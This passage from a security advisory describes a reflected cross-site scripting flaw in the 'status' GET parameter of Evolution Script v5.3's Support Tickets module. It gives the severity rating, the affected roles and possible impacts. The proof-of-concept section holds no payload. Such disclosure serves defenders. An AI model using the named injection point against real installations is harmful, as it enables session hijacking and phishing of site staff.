Medium
Technical Details & Description:
================================
A client-side cross site scripting vulnerability has been discovered in the official Evolution Script v5.3 Content Management System.
The issue allows remote attackers to inject script code with client-side attack vector to compromise browser to application requests.
The cross site vulnerability is located in the `status` parameter of the `Ticket Support` module. Remote attackers are able to inject
own malicious script codes via GET method request. The attack vector is non-persistent and the request method to inject is GET.
The vulnerability affects the support and administrator role in the ticket support module.
The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2.
Exploitation of the cross site vulnerability requires no privileged web-application user account and low user interaction.
Successful exploitation results in session hijacking, non-persistent phishings attacks, non-persistent external redirect
and malware loads or non-persistent manipulation of affected and connected module context.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Support Tickets
Vulnerable Parameter(s):
[+] status
Affected Role(s):
[+] Support
[+] Admin
Proof of Concept (PoC):
=======================
The client-side cross site scripting vulnerability can be exploited by remote attackers without user account and with low user interaction.
